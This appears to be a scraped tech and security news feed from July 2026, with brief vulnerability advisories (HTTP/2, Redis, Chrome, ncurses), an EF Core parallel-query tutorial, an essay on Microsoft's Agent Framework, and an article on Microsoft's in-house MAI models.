CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852, CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864, CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876, CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880, CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889, CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893, CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897, CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901, CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905, CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910, CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914, CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918, CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922, CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926, CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930, CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934, CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938, CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942, CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946, CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950, CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954, CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958, CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962, CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966, CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970, CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974, CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978, CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982, CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986, CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990, CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994, CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998, CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002, CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006, CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010, CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014, CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019, CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023, CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027, CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036, CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040, CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044, CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048, CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052, CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056, CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060, CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064, CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068, CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072, CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076, CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080, CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093, CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097, CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101, CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105, CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109, CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117, CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121, CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125, CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129, CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133, CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137, CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142, CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146, CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150, CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154, CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158, CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162, CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170, CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174, CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182, CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)

New HTTP/2 Vulnerability Lets Hackers Crash Servers With Memory Exhaustion Attacks

Fri, 24 Jul 2026 12:27:34 +0200

A newly disclosed HTTP/2 denial-of-service vulnerability is raising concerns across the cybersecurity community after researchers confirmed that unauthenticated attackers can crash vulnerable servers by triggering memory exhaustion conditions. The issue affects multiple HTTP/2 implementations that fail to manage resource consumption properly when handling stalled data flows, enabling attackers to degrade or completely disrupt services. HTTP/2, […]

The post New HTTP/2 Vulnerability Lets Hackers Crash Servers With Memory Exhaustion Attacks appeared first on Cyber Security News.

How to execute queries in parallel using EF Core

Fri, 24 Jul 2026 11:04:59 +0200

EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thread-safe. Hence, if you share DbContext instances between multiple threads, you will often encounter data corruption issues and the InvalidOperationException.

In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can download Visual Studio 2026 here.

Executing EF Core queries in parallel – the problem

When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example.

Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code.

public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task logsTask    = productService.GetRecentLogsAsync();
    Task    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}

In the preceding code snippet, there are four read operations that are executed by four different Task instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by usingTask.WhenAll, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new Dashboard instance.

If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.

However, there is a danger with the above approach. If you run multiple operations on the same DbContext instance, you will see an InvalidOperationException with the following message:

A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same DbContext instance; instance members are not guaranteed to be thread-safe.

Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you await several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an InvalidOperationException. To run queries in parallel, you must give each task its own connection or context.

Why DbContext isn’t thread-safe – and how to work around it

The DbContext class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same DbContext instance. This design approach creates inherent challenges when you use the same DbContext instance across multiple threads. If DbContext were thread-safe, extensive locking would be required, which would degrade data access performance.

This stateful design of DbContext makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.

The change tracker is one of the most important components of DbContext in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the SaveChanges() method on the DbContext instance.

To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we could accomplish this by wrapping a shared DbContext instance inside a thread-safe block using the lock keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below.

using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products => Set();
}

However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use IDbContextFactory , which creates fresh DbContext instances on demand. Calling its CreateDbContext() method is cheap and produces a fresh, isolated context every time.

The following code snippet shows how you can register an instance of type IDbContextFactory as a singleton. You can safely call this code from any thread.

builder.Services.AddDbContextFactory(options =>
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));

Executing EF Core queries in parallel – the solution

Now let’s see how we can put IDbContextFactory to work. The following code illustrates a class named ProductService that uses a factory to create DbContext instances for each scope of work.

public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        => _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}

Note that ProductService has two methods, GetByIdAsync and UpdateStockQuantityAsync. An instance of the DbContext class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the GetByIdAsync method while thread T2 executes the UpdateStockQuantityAsync method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.

Consider the following code that executes a read operation and an update operation in two separate tasks.

public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }

The Task.WhenAll method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own DbContext instance internally. Therefore the read operation and the update operation use independent DbContext instances.

Use DbContext pooling to reduce allocation cost

Although creating DbContext instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context.

builder.Services.AddPooledDbContextFactory(options =>
    options.UseSqlServer(connectionString));

A call to AddDbContext() will register a DbContext instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the DbContext will not always suffice.

You will need a factory to create instances of DbContext when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.

Key takeaways

If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.
You cannot execute multiple queries in parallel in EF Core using the same DbContext instance.
The IDbContextFactory enables you to create a DbContext instance for each thread, thereby enabling you to work with these instances in isolation.
Although using a DbContext pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.

The Microsoft agent framework wars are over. The real architecture decision starts now

Fri, 24 Jul 2026 11:04:58 +0200

Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?

At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.

Looking back, I think we were asking the wrong question. I certainly was.

I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.

Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.

What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.

It didn’t change the meal.

The framework was never the hard part

Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?

Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.

The first question I ask now is much smaller. Does this thing actually need an agent?

It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.

Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.

What building production agents actually taught me

Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.

Context beats model choice

Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.

I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”

The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.

Failure is where the real work is

Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.

I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.

Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.

Identity is the real security boundary

This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.

Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.

The surprises weren’t technical

Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.

Build for change, not for today’s winner

I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.

The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.

For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.

I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.

It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.

So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.

Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?

Those questions outlast every rewrite. That’s where I’ve learned to put my effort.

Frameworks come and go. Good architecture has to survive all of them.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Kimi K3 Agents Found Redis Zero-Days and Built RCE Exploit, Researchers Say

Fri, 24 Jul 2026 10:59:27 +0200

Redis shipped seven security releases on July 23 after researchers published authenticated RCE PoCs for stock Redis 6.2.22, 7.4.9, 8.6.4, and 8.8.0. All four chains require RESTORE. The Streams chains also need EVAL and XGROUP; the 8.8.0 chain needs EVAL and the bundled RedisBloom module. Redis says the underlying memory flaws may lead to remote code execution. Redis 6.2.23, 7.2.15, and 7.4.10

Hackers Abuse Service Workers to Assemble Malware Inside Web Browsers

Fri, 24 Jul 2026 10:42:50 +0200

Hackers are abusing modern browser features like ServiceWorkers and SharedWorkers to assemble malware entirely inside the victim’s browser memory. The SourTrade malvertising operation is a live example of how this technique is being weaponized against retail traders and crypto investors. SourTrade has been active since late 2024, buying programmatic ads and impersonating TradingView, Solana, and […]

The post Hackers Abuse Service Workers to Assemble Malware Inside Web Browsers appeared first on Cyber Security News.

Chrome Security Update Fixes Out-of-Bounds Write and Use-After-Free Flaws

Fri, 24 Jul 2026 09:38:51 +0200

Google has released a new Chrome Stable channel update addressing multiple high-severity memory safety vulnerabilities, including out-of-bounds write and use-after-free flaws that could potentially lead to arbitrary code execution. The latest update upgrades Chrome to version 150.0.7871.186/.187 for Windows and macOS, and 150.0.7871.186 for Linux. The rollout is gradual and expected to reach users over […]

The post Chrome Security Update Fixes Out-of-Bounds Write and Use-After-Free Flaws appeared first on Cyber Security News.

Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI

Fri, 24 Jul 2026 02:50:17 +0200

Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio.

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed."

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

CVE-2017-13734 | ncurses 6.0 strings.c _nc_safe_strcat memory corruption (Nessus ID 103797 / ID 170726)

Fri, 24 Jul 2026 00:44:44 +0200

A vulnerability has been found in ncurses 6.0 and classified as problematic. This affects the function _nc_safe_strcat of the file strings.c. Performing a manipulation results in memory corruption. This vulnerability is reported as CVE-2017-13734. The attack is possible to be carried out remotely. No exploit exists. The affected component should be upgraded.

CVE-2017-13733 | ncurses 6.0 progs/dump_entry.c fmt_entry memory corruption (Nessus ID 103797 / ID 170513)

Fri, 24 Jul 2026 00:44:42 +0200

A vulnerability, which was classified as problematic, was found in ncurses 6.0. The impacted element is the function fmt_entry of the file progs/dump_entry.c. Such manipulation leads to memory corruption. This vulnerability is documented as CVE-2017-13733. The attack can be executed remotely. There is not any exploit available. You should upgrade the affected component.

CVE-2017-16879 | ncurses 6.0 tinfo/write_entry.c nc_write_entry memory corruption (ID 145045 / Nessus ID 104993)

Fri, 24 Jul 2026 00:44:39 +0200

A vulnerability classified as critical was found in ncurses 6.0. Affected by this vulnerability is the function nc_write_entry of the file tinfo/write_entry.c. Such manipulation leads to memory corruption. This vulnerability is uniquely identified as CVE-2017-16879. Local access is required to approach this attack. No exploit exists. Upgrading the affected component is advised.

Stable Channel Update for Desktop

Fri, 24 Jul 2026 00:27:13 +0200

The Stable channel has been updated to 150.0.7871.186/.187 for Windows and Mac and 150.0.7871.186 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the Log

Security Fixes and Rewards

Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.

This update includes 4 security fixes. Please see the Chrome Security Page for more information.

[N/A][518237034] High CVE-2026-16807: Out of bounds write in Codecs. Reported by Google on 2026-05-30

[N/A][522064153] High CVE-2026-16806: Use after free in WebMCP. Reported by Google on 2026-06-10

